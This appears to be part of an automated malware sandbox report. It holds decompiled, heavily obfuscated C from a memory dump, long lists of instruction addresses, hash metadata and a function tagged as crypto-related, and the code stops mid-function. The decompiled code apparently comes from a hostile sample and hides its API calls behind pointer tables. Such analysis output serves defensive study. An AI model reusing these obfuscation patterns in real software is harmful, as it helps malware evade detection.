							_t465 =  *((intOrPtr*)(_t557 + 0x41f060))( *(_t726 - 0x10),  *(_t726 - 0x14));
							 *(_t726 - 0x14) = _t694;
							 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) & 0x00000000;
							 *(_t557 + 0x41c8aa) =  *(_t557 + 0x41c8aa) | _t694 & 0x00000000 ^ _t465;
							_t697 =  *(_t726 - 0x14);
							_t744 = _t743 - 0xfffffffc;
							 *(_t726 - 0x10) = _t638;
							 *(_t726 - 4) =  *(_t726 - 4) & 0x00000000;
							 *(_t726 - 4) =  *(_t726 - 4) ^ _t638 -  *(_t726 - 0x10) ^ _t465 & 0x00000000 ^  *_t743;
							_t641 =  *(_t726 - 0x10);
							_t183 = _t557 + 0x41c279; // 0x41c279
							 *_t744 = _t183;
							_t185 = _t557 + 0x41d1ea; // 0x41d1ea
							 *_t744 =  *_t744 - _t697;
							 *_t744 = _t185;
							_t470 =  *((intOrPtr*)(_t557 + 0x41f068))(_t697,  *(_t726 - 0x14));
							 *(_t726 - 0x14) =  *(_t726 - 0x10);
							 *(_t557 + 0x41cbc5) = 0 ^ _t470;
							_t596 =  *(_t726 - 0x14);
							goto L11;
						}
						 *_t744 =  *_t744 ^ _t510;
						_t542 = _t510;
						return _t542;
					}
				}
			}

0x007d5378
0x007d5378
0x007d5378
0x007d537e
0x007d537f
0x007d5382
0x007d5385
0x007d538b
0x007d538c
0x007d538f
0x007d5398
0x007d5399
0x007d539d
0x007d53a0
0x007d53af
0x007d53b2
0x007d53b9
0x007d53ba
0x007d53bd
0x007d53be
0x007d53cb
0x007d53d0
0x007d53d9
0x007d53dd
0x007d53e6
0x007d53ed
0x007d53f0
0x007d53f0
0x007d53f7
0x007d53fd
0x007d5403
0x007d5403
0x007d5405
0x007d540b
0x007d540c
0x007d5413
0x007d5417
0x007d541a
0x007d5421
0x007d5424
0x007d5427
0x007d5433
0x007d543a
0x007d5440
0x007d5441
0x007d5445
0x007d5445
0x007d5448
0x007d544f
0x007d5452
0x007d5455
0x007d545d
0x007d5464
0x007d546a
0x007d546b
0x007d546e
0x007d5477
0x007d547a
0x007d5480
0x007d5487
0x007d548a
0x007d5491
0x007d5495
0x007d5498
0x007d54a0
0x007d54a3
0x007d54aa
0x007d54ad
0x007d54b0
0x007d54b3
0x007d54b4
0x007d54b5
0x007d54c4
0x007d54c6
0x007d54cb
0x007d54cd
0x007d54d6
0x007d54d9
0x007d54df
0x007d54e6
0x007d54e9
0x007d54e9
0x007d54ef
0x007d54f7
0x007d54fe
0x007d5504
0x007d5507
0x007d5515
0x007d5519
0x007d551d
0x007d5520
0x007d5527
0x007d552b
0x007d552e
0x007d5535
0x007d5539
0x007d553c
0x007d5542
0x007d554a
0x007d5551
0x007d5557
0x007d555a
0x007d5562
0x007d5565
0x007d5568
0x007d556b
0x007d556e
0x007d556f
0x007d5576
0x007d5579
0x007d557c
0x007d5582
0x007d558c
0x007d5595
0x007d5596
0x007d5599
0x007d559c
0x007d55a2
0x007d55a5
0x007d55a8
0x007d55ab
0x007d55ad
0x007d55b1
0x007d55b4
0x007d55bb
0x007d55be
0x007d55c1
0x007d55c7
0x007d55cf
0x007d55d6
0x007d55dc
0x007d55e8
0x007d55eb
0x007d55ed
0x007d55f0
0x007d55f1
0x007d55fb
0x007d55fe
0x007d5607
0x007d560a
0x007d5611
0x007d5614
0x007d5617
0x007d561d
0x007d5624
0x007d5627
0x007d562f
0x007d5632
0x007d5635
0x007d563c
0x007d563d
0x007d5640
0x007d564e
0x007d5650
0x007d5653
0x007d5655
0x007d565b
0x007d5662
0x007d5665
0x007d566b
0x007d5675
0x007d5678
0x007d567e
0x007d5685
0x007d568b
0x007d568b
0x007d5694
0x007d569c
0x007d56a0
0x007d56a4
0x007d56a6
0x007d56a8
0x007d56ac
0x007d56af
0x007d56b8
0x007d56bb
0x007d56c2
0x007d56c6
0x007d56c9
0x007d56cf
0x007d56d6
0x007d56dc
0x007d56e1
0x007d56e4
0x007d56e8
0x007d56eb
0x007d56ee
0x007d56f4
0x007d56fe
0x007d5701
0x007d5707
0x007d570f
0x007d5716
0x007d571f
0x007d5725
0x007d572f
0x007d5732
0x007d5738
0x007d5742
0x007d5745
0x007d574b
0x007d5753
0x007d575a
0x007d5760
0x007d576c
0x007d576f
0x007d5777
0x007d577b
0x007d577e
0x007d5781
0x007d578a
0x007d578d
0x007d5794
0x007d5797
0x007d579a
0x007d57a0
0x007d57a7
0x007d57ad
0x007d57b0
0x007d57b0
0x007d57b6
0x007d5a4d
0x007d5a51
0x007d5a59
0x007d5a5c
0x007d5a5f
0x007d5a67
0x007d5a6e
0x007d5a74
0x007d5a75
0x007d5a7f
0x007d5a83
0x007d5a8d
0x007d5a91
0x007d5a94
0x007d5a9a
0x007d5aa1
0x007d5aa7
0x007d5aaa
0x007d5ab8
0x007d5abb
0x007d5ac5
0x007d5ac9
0x007d5acc
0x007d5ad2
0x007d5ada
0x007d5ae1
0x007d5ae7
0x007d57bc
0x007d57bc
0x007d57c3
0x007d57c6
0x007d57c9
0x007d57cf
0x007d57d9
0x007d57dc
0x007d57e3
0x007d57e6
0x007d57e9
0x007d57f5
0x007d57f8
0x007d57fd
0x007d5801
0x007d5804
0x007d5806
0x007d5807
0x007d5816
0x007d5818
0x007d581d
0x007d581f
0x007d5826
0x007d582a
0x007d582d
0x007d5836
0x007d5839
0x007d5839
0x007d5845
0x007d584c
0x007d5852
0x007d5854
0x007d5858
0x007d585b
0x007d5864
0x007d586d
0x007d586e
0x007d5871
0x007d5874
0x007d587a
0x007d587c
0x007d5883
0x007d5887
0x007d588a
0x007d5890
0x007d589a
0x007d589d
0x007d58a3
0x007d58aa
0x007d58ad
0x007d58b9
0x007d58bc
0x007d58c3
0x007d58c6
0x007d58c9
0x007d58cc
0x007d58cd
0x007d58ce
0x007d58dd
0x007d58df
0x007d58e4
0x007d58e6
0x007d58ef
0x007d58f2
0x007d58f9
0x007d58fd
0x007d5900
0x007d5900
0x007d5908
0x007d590f
0x007d5915
0x007d5918
0x007d591c
0x007d5920
0x007d5922
0x007d5923
0x007d5929
0x007d5930
0x007d5933
0x007d5939
0x007d5943
0x007d5946
0x007d594c
0x007d5954
0x007d595b
0x007d596f
0x007d5970
0x007d5977
0x007d597b
0x007d597e
0x007d5987
0x007d598a
0x007d5996
0x007d599d
0x007d59a3
0x007d59a4
0x007d59a5
0x007d59a8
0x007d59ab
0x007d59ae
0x007d59b4
0x007d59bb
0x007d59be
0x007d59c7
0x007d59ca
0x007d59d2
0x007d59d9
0x007d59df
0x007d59e2
0x007d59e5
0x007d59e8
0x007d59ef
0x007d59f3
0x007d59f6
0x007d59ff
0x007d5a02
0x007d5a08
0x007d5a10
0x007d5a17
0x007d5a1d
0x007d5a1d
0x007d5aea
0x007d5af8
0x007d5afb
0x007d5b01
0x007d5b0b
0x007d5b0e
0x007d5b17
0x007d5b1a
0x007d5b23
0x007d5b26
0x007d5b35
0x007d5b3a
0x007d5b3e
0x007d5b41
0x007d5b43
0x007d5b44
0x007d5b4f
0x007d5b51
0x007d5b56
0x007d5b58
0x007d5b5f
0x007d5b63
0x007d5b66
0x007d5b6c
0x007d5b73
0x007d5b76
0x007d5b76
0x007d5b7d
0x007d5b83
0x007d5b8e
0x007d5b92
0x007d5b93
0x007d5b9c
0x007d5b9f
0x007d5ba5
0x007d5baf
0x007d5bb2
0x007d5bbe
0x007d5bc5
0x007d5bcb
0x007d5bcc
0x007d5bda
0x007d5bde
0x007d5be1
0x007d5be4
0x007d5beb
0x007d5bee
0x007d5bf1
0x007d5bf7
0x007d5bfe
0x007d5c01
0x007d5c07
0x007d5c0f
0x007d5c16
0x007d5c1c
0x007d5c28
0x007d5c2b
0x007d5c35
0x007d5c38
0x007d5c3e
0x007d5c48
0x007d5c4b
0x007d5c52
0x007d5c56
0x007d5c59
0x007d5c65
0x007d5c6c
0x007d5c72
0x007d5c73
0x007d5c79
0x007d5c83
0x007d5c86
0x007d5c8c
0x007d5c96
0x007d5c99
0x007d5c9f
0x007d5ca9
0x007d5cac
0x007d5cb2
0x007d5cbc
0x007d5cbf
0x007d5ccb
0x007d5cce
0x007d5cd5
0x007d5cd8
0x007d5cdb
0x007d5cde
0x007d5cdf
0x007d5ce0
0x007d5cef
0x007d5cf1
0x007d5cf6
0x007d5cf8
0x007d5cff
0x007d5d03
0x007d5d06
0x007d5d0c
0x007d5d16
0x007d5d19
0x007d5d25
0x007d5d2c
0x007d5d32
0x007d5d32
0x007d5d3c
0x007d5d40
0x007d5d43
0x007d5d48
0x007d5d52
0x007d5d55
0x007d5d5c
0x007d5d5e
0x007d5d61
0x007d5d68
0x007d5d6f
0x007d5d74
0x007d5d77
0x007d5d7a
0x007d5d7d
0x007d5d7e
0x007d5d85
0x007d5d88
0x007d5d8b
0x007d5d8e
0x007d5d91
0x007d5d92
0x007d5da4
0x007d5da6
0x007d5daa
0x007d5314
0x00000000
0x007d531a
0x007d531a
0x007d5320
0x007d532a
0x007d532d
0x007d5333
0x007d533a
0x007d5343
0x007d5346
0x007d5349
0x007d534c
0x007d534d
0x007d5356
0x007d5359
0x007d5365
0x007d536c
0x007d5372
0x007d5372
0x007d5445
0x007d5445
0x007d5448
0x007d544f
0x007d5452
0x007d5455
0x007d545d
0x007d5464
0x007d546a
0x007d546b
0x007d546e
0x007d5477
0x007d547a
0x007d5480
0x007d5487
0x007d548a
0x007d5491
0x007d5495
0x007d5498
0x007d54a0
0x007d54a3
0x007d54aa
0x007d54ad
0x007d54b0
0x007d54b3
0x007d54b4
0x007d54b5
0x007d54c4
0x007d54c6
0x007d54cb
0x007d54cd
0x007d54d6
0x007d54d9
0x007d54df
0x007d54e6
0x007d54e9
0x007d54e9
0x007d54ef
0x007d54f7
0x007d54fe
0x007d5504
0x007d5507
0x007d5515
0x007d5519
0x007d551d
0x007d5520
0x007d5527
0x007d552b
0x007d552e
0x007d5535
0x007d5539
0x007d553c
0x007d5542
0x007d554a
0x007d5551
0x007d5557
0x007d555a
0x007d5562
0x007d5565
0x007d5568
0x007d556b
0x007d556e
0x007d556f
0x007d5576
0x007d5579
0x007d557c
0x007d5582
0x007d558c
0x007d5595
0x007d5596
0x007d5599
0x007d559c
0x007d55a2
0x007d55a5
0x007d55a8
0x007d55ab
0x007d55ad
0x007d55b1
0x007d55b4
0x007d55bb
0x007d55be
0x007d55c1
0x007d55c7
0x007d55cf
0x007d55d6
0x007d55dc
0x007d55e8
0x007d55eb
0x007d55ed
0x007d55f0
0x007d55f1
0x007d55fb
0x007d55fe
0x007d5607
0x007d560a
0x007d5611
0x007d5614
0x007d5617
0x007d561d
0x007d5624
0x007d5627
0x007d562f
0x007d5632
0x007d5635
0x007d563c
0x007d563d
0x007d5640
0x007d564e
0x007d5650
0x007d5653
0x007d5655
0x007d565b
0x007d5662
0x007d5665
0x007d566b
0x007d5675
0x007d5678
0x007d567e
0x007d5685
0x007d568b
0x007d568b
0x007d5694
0x007d569c
0x007d56a0
0x007d56a4
0x007d56a6
0x007d56a8
0x007d56ac
0x007d56af
0x007d56b8
0x007d56bb
0x007d56c2
0x007d56c6
0x007d56c9
0x007d56cf
0x007d56d6
0x007d56dc
0x007d56e1
0x007d56e4
0x007d56e8
0x007d56eb
0x007d56ee
0x007d56f4
0x007d56fe
0x007d5701
0x007d5707
0x007d570f
0x007d5716
0x007d571f
0x007d5725
0x007d572f
0x007d5732
0x007d5738
0x007d5742
0x007d5745
0x007d574b
0x007d5753
0x007d575a
0x007d5760
0x007d576c
0x007d576f
0x007d5777
0x007d577b
0x007d577e
0x007d5781
0x007d578a
0x007d578d
0x007d5794
0x007d5797
0x007d579a
0x007d57a0
0x007d57a7
0x007d57ad
0x00000000
0x007d57ad
0x007d5dbb
0x007d5dbe
0x007d5dd0
0x007d5dd0
0x007d5441

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86a651931a01c3be3bd58236517675960697cf91adc10e4db860c8d0544b250d
Instruction ID: 1d4465b90ab426c14f743acef93112622b35c005e9f56d11c406fad500d237c5
Opcode Fuzzy Hash: 86a651931a01c3be3bd58236517675960697cf91adc10e4db860c8d0544b250d
Instruction Fuzzy Hash: E0725472844219DFEF04DFA0C9897EEBBF1FF08311F15486ED889AA145D7381664CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 007D31B3, Relevance: .6, Instructions: 646
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E007D31B3(signed int __ebx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t312;
				void* _t314;
				signed int _t315;
				signed int _t318;
				signed int _t321;
				void* _t323;
				void* _t327;
				void* _t331;
				void* _t333;
				void* _t334;
				signed int _t335;
				signed int _t337;
				void* _t339;
				void* _t340;
				signed int _t345;
				signed int _t348;
				void* _t350;
				void* _t351;
				signed int _t355;
				void* _t357;
				intOrPtr _t358;
				signed int _t359;
				signed int _t361;
				signed int _t365;
				signed int _t371;
				signed int _t373;
				void* _t378;
				void* _t380;
				signed int _t383;
				signed int _t386;
				intOrPtr _t390;
				signed int _t396;
				signed int _t398;
				signed int _t402;
				signed int _t405;
				void* _t408;
				void* _t410;
				signed int _t416;
				intOrPtr _t421;
				signed int _t426;
				intOrPtr _t429;
				intOrPtr _t434;
				signed int _t437;
				void* _t442;
				void* _t444;
				signed int _t446;
				signed int _t448;
				signed int _t450;
				signed int _t452;
				signed int _t454;
				signed int _t457;
				signed int _t463;
				signed int _t465;
				signed int _t468;
				signed int _t473;
				signed int _t480;
				signed int _t483;
				signed int _t486;
				signed int _t487;
				signed int _t488;
				signed int _t500;
				signed int _t502;
				signed int _t505;
				signed int _t507;
				signed int _t510;
				void* _t514;
				signed int _t516;
				signed int _t519;
				signed int _t522;
				signed int _t525;
				signed int _t531;
				signed int _t534;
				signed int _t537;
				signed int _t540;
				void* _t541;
				signed int _t543;
				signed int _t546;
				void* _t553;
				signed int _t555;
				signed int _t557;
				signed int _t560;
				signed int _t563;
				signed int _t566;
				void* _t570;
				signed int _t573;
				void* _t574;
				signed int _t576;
				signed int _t579;
				signed int* _t580;
				signed int* _t581;
				signed int* _t582;
				signed int* _t583;
				signed int* _t584;
				signed int* _t585;
				signed int* _t586;
				signed int* _t587;
				signed int* _t588;
				signed int* _t589;
				signed int* _t590;
				signed int* _t591;
				signed int* _t592;
				signed int* _t593;
				signed int* _t594;
				signed int* _t596;

				_t531 = __edi;
				_t500 = __edx;
				_t437 = __ebx;
				_t1 = _t437 + 0x41c972; // 0x41c972
				_push(_v16);
				 *_t580 = _t1;
				_t312 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(_t573);
				 *_t580 =  *_t580 - _t573;
				 *_t580 = _t312;
				_t4 = _t437 + 0x41c726; // 0x41c726
				_v12 = 0;
				_push(_v12);
				 *_t580 =  *_t580 | _t4;
				_t314 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_t446 =  *_t580;
				_t581 =  &(_t580[1]);
				 *_t581 =  *_t581 + __esi;
				_t553 = _t314;
				_t315 = _t553 + _t446;
				_t555 = 0;
				_v16 = _t315;
				_t448 = _t446 & 0x00000000 | _t315 & 0x00000000 |  *(__ebx + 0x41c68d);
				_t318 = _v16;
				if(_t448 > _t318) {
					_t11 = _t437 + 0x41c972; // 0x41c972
					_v16 = 0;
					_push(_v16);
					 *_t581 =  *_t581 | _t11;
					_t14 = _t437 + 0x41c726; // 0x41c726
					_push(_t573);
					 *_t581 =  *_t581 - _t573;
					 *_t581 =  *_t581 ^ _t14;
					_t318 =  *((intOrPtr*)(__ebx + 0x41f064))();
				}
				_v12 = _t531;
				 *(_t437 + 0x41c3b5) =  *(_t437 + 0x41c3b5) & 0x00000000;
				 *(_t437 + 0x41c3b5) =  *(_t437 + 0x41c3b5) | _t531 & 0x00000000 ^ _t318;
				_t534 = _v12;
				_t22 = _t437 + 0x41d2f2; // 0x41d2f2
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 + _t22;
				_t23 = _t437 + 0x41d08b; // 0x41d08b
				_v12 = _v12 & 0x00000000;
				 *_t581 =  *_t581 | _t23;
				_t321 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _t500);
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 | _t321;
				_t28 = _t437 + 0x41c1f0; // 0x41c1f0
				 *_t581 =  *_t581 & 0x00000000;
				 *_t581 =  *_t581 | _t28;
				_t323 =  *((intOrPtr*)(_t437 + 0x41f060))(_t555);
				 *_t30 = _t448;
				 *_t581 =  *_t581 | _t573;
				_t574 = _t323;
				_t576 = 0;
				 *_t581 = _t574 + _v8;
				_t450 =  *(_t437 + 0x41c529);
				_t327 = 0;
				if(_t450 > _t327) {
					_t33 = _t437 + 0x41d08b; // 0x41d08b
					 *_t581 =  *_t581 ^ _t500;
					 *_t581 =  *_t581 ^ _t33;
					_t34 = _t437 + 0x41c1f0; // 0x41c1f0
					_v16 = 0;
					 *_t581 =  *_t581 | _t34;
					_t434 =  *((intOrPtr*)(_t437 + 0x41f064))(_v16, _t500);
					_v16 = _t450;
					 *((intOrPtr*)(_t437 + 0x41cd05)) = _t434;
					_t450 = _v16;
				}
				_t582 = _t581 - 0xfffffffc;
				 *_t582 =  *_t582 ^ _t576;
				 *_t582 =  *_t582 +  *_t581;
				_t41 = _t437 + 0x41d1b0; // 0x41d1b0
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 + _t41;
				_t331 =  *((intOrPtr*)(_t437 + 0x41f060))(_t576, _t576);
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 + _t331;
				_t43 = _t437 + 0x41c2f3; // 0x41c2f3
				 *_t582 =  *_t582 ^ _t555;
				 *_t582 =  *_t582 ^ _t43;
				_t333 =  *((intOrPtr*)(_t437 + 0x41f060))(_t555, _t500);
				_t452 = _t450 & 0x00000000 ^  *_t582;
				_t583 =  &(_t582[1]);
				 *_t45 = _t333;
				_v8 = _v8 + _t452;
				_push(_v8);
				_pop(_t334);
				_t502 = _t500;
				_v16 = _t502;
				_t454 = _t452 & 0x00000000 | _t502 & 0x00000000 |  *(_t437 + 0x41c51d);
				_t505 = _v16;
				if(_t454 > _t334) {
					_t52 = _t437 + 0x41d1b0; // 0x41d1b0
					 *_t583 =  *_t583 & 0x00000000;
					 *_t583 =  *_t583 ^ _t52;
					_t53 = _t437 + 0x41c2f3; // 0x41c2f3
					 *_t583 =  *_t583 - _t454;
					 *_t583 = _t53;
					_t334 =  *((intOrPtr*)(_t437 + 0x41f064))(_t454, _t505);
				}
				 *_t55 = _t334;
				_push(_v16);
				_pop( *_t57);
				_t335 =  *((intOrPtr*)(_t437 + 0x41f060))();
				_v16 = _v16 & 0x00000000;
				 *_t583 =  *_t583 ^ _t335;
				_t62 = _t437 + 0x41c0f2; // 0x41c0f2
				 *_t583 =  *_t583 - _t505;
				 *_t583 = _t62;
				_t337 =  *((intOrPtr*)(_t437 + 0x41f060))(_t505, _v16);
				 *_t583 = _t337;
				_t65 = _t437 + 0x41cfb1; // 0x41cfb1
				 *_t583 = _t65;
				_t339 =  *((intOrPtr*)(_t437 + 0x41f060))(_v8, _v16);
				_t584 = _t583 - 0xfffffffc;
				 *_t68 = _t339;
				_v16 = _v16 + (_t454 & 0x00000000 |  *_t583);
				_push(_v16);
				_pop(_t340);
				_t557 = _t555;
				_v8 = _t557;
				_t457 = 0 ^  *(_t437 + 0x41cba2);
				_t560 = _v8;
				if(_t457 > _t340) {
					_t75 = _t437 + 0x41c0f2; // 0x41c0f2
					_v16 = _v16 & 0x00000000;
					 *_t584 =  *_t584 ^ _t75;
					_t79 = _t437 + 0x41cfb1; // 0x41cfb1
					_v8 = _v8 & 0x00000000;
					 *_t584 =  *_t584 ^ _t79;
					_t429 =  *((intOrPtr*)(_t437 + 0x41f064))(_v8, _v16);
					_v8 = _t505;
					 *((intOrPtr*)(_t437 + 0x41cbd5)) = _t429;
					_t505 = _v8;
				}
				_pop( *_t87);
				 *_t584 =  *_t584 - _t534;
				 *_t584 =  *_t584 ^ 0 ^ _v8;
				_t89 = _t437 + 0x41cdc3; // 0x41cdc3
				_v8 = 0;
				 *_t584 =  *_t584 + _t89;
				_t92 = _t437 + 0x41c7d0; // 0x41c7d0
				_v16 = 0;
				 *_t584 =  *_t584 | _t92;
				_t345 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _v8, _t534);
				_v12 = _t457;
				 *(_t437 + 0x41cb83) =  *(_t437 + 0x41cb83) & 0x00000000;
				 *(_t437 + 0x41cb83) =  *(_t437 + 0x41cb83) ^ (_t457 - _v12 | _t345);
				_t103 = _t437 + 0x41d16f; // 0x41d16f
				_v16 = _v16 & 0x00000000;
				 *_t584 =  *_t584 ^ _t103;
				_t107 = _t437 + 0x41cd88; // 0x41cd88
				 *_t584 =  *_t584 & 0x00000000;
				 *_t584 =  *_t584 ^ _t107;
				_t348 =  *((intOrPtr*)(_t437 + 0x41f060))(_t505, _v16);
				_v16 = _v16 & 0x00000000;
				 *_t584 =  *_t584 ^ _t348;
				_t112 = _t437 + 0x41d272; // 0x41d272
				 *_t584 =  *_t584 & 0x00000000;
				 *_t584 =  *_t584 ^ _t112;
				_t350 =  *((intOrPtr*)(_t437 + 0x41f060))(_t437, _v16);
				_t585 = _t584 - 0xfffffffc;
				 *_t114 = _t350;
				_v16 = _v16 + (_v12 & 0x00000000) +  *_t584;
				_push(_v16);
				_pop(_t351);
				_t507 = _t505;
				 *_t585 = _t507;
				_t463 =  *(_t437 + 0x41c389);
				_t510 = 0;
				if(_t463 > _t351) {
					_t119 = _t437 + 0x41cd88; // 0x41cd88
					 *_t585 =  *_t585 & 0x00000000;
					 *_t585 =  *_t585 ^ _t119;
					_t120 = _t437 + 0x41d272; // 0x41d272
					 *_t585 =  *_t585 & 0x00000000;
					 *_t585 =  *_t585 ^ _t120;
					_t426 =  *((intOrPtr*)(_t437 + 0x41f064))(_t560, _t463);
					 *(_t437 + 0x41cc5a) =  *(_t437 + 0x41cc5a) & 0x00000000;
					 *(_t437 + 0x41cc5a) =  *(_t437 + 0x41cc5a) | _t463 & 0x00000000 | _t426;
					_t463 = _t463;
				}
				_t586 = _t585 - 0xfffffffc;
				 *_t586 = 0 ^  *_t585;
				_t127 = _t437 + 0x41cb2c; // 0x41cb2c
				 *_t586 =  *_t586 ^ _t437;
				 *_t586 =  *_t586 | _t127;
				_t355 =  *((intOrPtr*)(_t437 + 0x41f060))(_t437, _v16);
				_v8 = 0;
				 *_t586 =  *_t586 ^ _t355;
				_t131 = _t437 + 0x41ca15; // 0x41ca15
				_v12 = _v12 & 0x00000000;
				 *_t586 =  *_t586 | _t131;
				_t357 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v8);
				_t465 =  *_t586;
				_t587 = _t586 - 0xfffffffc;
				_v8 = _t534;
				_push(_t465 + _t357);
				_t537 = _v8;
				_pop(_t358);
				_t540 = _t537;
				if((_t465 & 0x00000000 | _t537 & 0x00000000 ^  *(_t437 + 0x41c82d)) > _t358) {
					_t139 = _t437 + 0x41cb2c; // 0x41cb2c
					_v16 = _v16 & 0x00000000;
					 *_t587 =  *_t587 + _t139;
					_t143 = _t437 + 0x41ca15; // 0x41ca15
					 *_t587 =  *_t587 & 0x00000000;
					 *_t587 =  *_t587 + _t143;
					_t358 =  *((intOrPtr*)(_t437 + 0x41f064))(_t560, _v16);
				}
				_v12 = _t560;
				 *((intOrPtr*)(_t437 + 0x41c92d)) = _t358;
				_t563 = _v12;
				_t359 =  *((intOrPtr*)(_t437 + 0x41f060))();
				 *_t587 =  *_t587 & 0x00000000;
				 *_t587 =  *_t587 | _t359;
				_t149 = _t437 + 0x41c69d; // 0x41c69d
				_v16 = 0;
				 *_t587 =  *_t587 | _t149;
				_t361 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _t563);
				_v12 = _t510;
				 *(_t437 + 0x41ccdd) =  *(_t437 + 0x41ccdd) & 0x00000000;
				 *(_t437 + 0x41ccdd) =  *(_t437 + 0x41ccdd) | _t510 - _v12 | _t361;
				_t588 =  &(_t587[1]);
				_pop( *_t160);
				_t468 = _v16;
				 *_t588 = (_t361 & 0x00000000) +  *_t587;
				 *_t588 = _t468;
				_t164 = _t437 + 0x41c2d3; // 0x41c2d3
				_v16 = _v16 & 0x00000000;
				 *_t588 =  *_t588 | _t164;
				_t365 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _v12, _v8);
				_v12 = _t468;
				 *(_t437 + 0x41d1f2) = _t365;
				_pop( *_t172);
				_t473 = _v12 & 0x00000000 | _v8;
				_pop( *_t174);
				 *_t588 = _v12;
				_push(_t365 & 0x00000000 ^ _v16);
				_pop(_t514);
				_t516 = 0;
				_v8 = 0;
				 *_t588 =  *_t588 | _t514 + _t473;
				_t178 = _t437 + 0x41d35c; // 0x41d35c
				 *_t588 = _t178;
				_t180 = _t437 + 0x41cffa; // 0x41cffa
				 *_t588 =  *_t588 ^ _t576;
				 *_t588 = _t180;
				_t371 =  *((intOrPtr*)(_t437 + 0x41f068))(_t576, _v12, _v8);
				_v12 = _t516;
				 *(_t437 + 0x41c7e6) =  *(_t437 + 0x41c7e6) & 0x00000000;
				 *(_t437 + 0x41c7e6) =  *(_t437 + 0x41c7e6) | _t516 - _v12 | _t371;
				_t519 = _v12;
				_t373 = 0 ^  *_t588;
				_t589 =  &(_t588[1]);
				_v8 = _t373;
				_v12 = 0;
				 *_t589 =  *_t589 + _v8;
				 *_t589 = _t473 & 0x00000000 ^ (_t373 - _v8 |  *(_t437 + 0x41d1e6));
				_t196 = _t437 + 0x41c887; // 0x41c887
				 *_t589 = _t196;
				_t378 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v8, _v12);
				_v12 = _v12 & 0x00000000;
				 *_t589 =  *_t589 + _t378;
				_t202 = _t437 + 0x41c411; // 0x41c411
				_v16 = 0;
				 *_t589 =  *_t589 + _t202;
				_t380 =  *((intOrPtr*)(_t437 + 0x41f060))(_v16, _v12);
				_t590 = _t589 - 0xfffffffc;
				 *_t590 =  *_t590 ^ _t540;
				_t541 = _t380;
				_t543 = 0;
				_v12 = _t563;
				_t566 = _v12;
				if((0 ^  *(_t437 + 0x41c39d)) > _t541 +  *_t589) {
					_t209 = _t437 + 0x41c887; // 0x41c887
					 *_t590 =  *_t590 & 0x00000000;
					 *_t590 =  *_t590 | _t209;
					_t210 = _t437 + 0x41c411; // 0x41c411
					_v12 = _v12 & 0x00000000;
					 *_t590 =  *_t590 | _t210;
					_t421 =  *((intOrPtr*)(_t437 + 0x41f064))(_v12, _t576);
					 *_t590 = _t543;
					 *((intOrPtr*)(_t437 + 0x41c9b5)) = _t421;
					_t543 = 0;
				}
				_t480 = 0 ^  *_t590;
				_t591 =  &(_t590[1]);
				_t383 =  *_t591;
				_t592 =  &(_t591[1]);
				if(_t480 > _t383) {
					_t216 = _t437 + 0x41d2f2; // 0x41d2f2
					_v16 = _v16 & 0x00000000;
					 *_t592 =  *_t592 ^ _t216;
					_t220 = _t437 + 0x41d16f; // 0x41d16f
					_v16 = 0;
					 *_t592 =  *_t592 ^ _t220;
					_t383 =  *((intOrPtr*)(_t437 + 0x41f064))(_v16, _v16);
				}
				 *_t592 = _t576;
				 *(_t437 + 0x41c0d6) = 0 ^ _t383;
				_t579 = 0;
				_v12 = _v12 & 0x00000000;
				 *_t592 =  *_t592 | _t566;
				_t228 = _t437 + 0x41cd35; // 0x41cd35
				 *_t592 =  *_t592 ^ _t480;
				 *_t592 =  *_t592 + _t228;
				_t229 = _t437 + 0x41ca62; // 0x41ca62
				_v16 = 0;
				 *_t592 =  *_t592 + _t229;
				_t386 =  *((intOrPtr*)(_t437 + 0x41f068))(_v16, _t480, _v12);
				_v16 = _t543;
				 *(_t437 + 0x41cb3a) =  *(_t437 + 0x41cb3a) & 0x00000000;
				 *(_t437 + 0x41cb3a) =  *(_t437 + 0x41cb3a) ^ (_t543 - _v16 | _t386);
				_t546 = _v16;
				_t483 = _t480;
				_v12 = 0;
				 *_t592 =  *_t592 | _t386 & 0x00000000 ^ (_t480 & 0x00000000 | _a4);
				_t243 = _t437 + 0x41c84c; // 0x41c84c
				_v12 = _v12 & 0x00000000;
				 *_t592 =  *_t592 | _t243;
				_t390 =  *((intOrPtr*)(_t437 + 0x41f060))(_v12, _v12);
				_v16 = _t519;
				 *((intOrPtr*)(_t437 + 0x41d2c7)) = _t390;
				_t522 = _v16;
				_t593 = _t592 - 0xfffffffc;
				 *_t593 =  *_t593 - _t437;
				 *_t593 =  *_t592 - 1;
				_t251 = _t437 + 0x41ceef; // 0x41ceef
				_v16 = 0;
				 *_t593 =  *_t593 | _t251;
				_t254 = _t437 + 0x41c9c8; // 0x41c9c8
				 *_t593 =  *_t593 - _t522;
				 *_t593 = _t254;
				_t396 =  *((intOrPtr*)(_t437 + 0x41f068))(_t522, _v16, _t437);
				_v16 = _t522;
				 *(_t437 + 0x41d00d) =  *(_t437 + 0x41d00d) & 0x00000000;
				 *(_t437 + 0x41d00d) =  *(_t437 + 0x41d00d) | _t522 ^ _v16 | _t396;
				_t525 = _v16;
				_t398 =  *_t593;
				_t594 = _t593 - 0xfffffffc;
				if(_t398 > 0) {
					if(_a12 != 0) {
						_t402 = _t398;
						 *_t301 = _t483 & 0x00000000 | _t398 ^  *_t594 ^ _a12;
						_v12 = _v12 + _t402;
						_push(_v12);
						_pop(_t486);
						_t570 = _t566;
						 *_t594 =  *_t594 ^ _t486;
						_t487 = _t437;
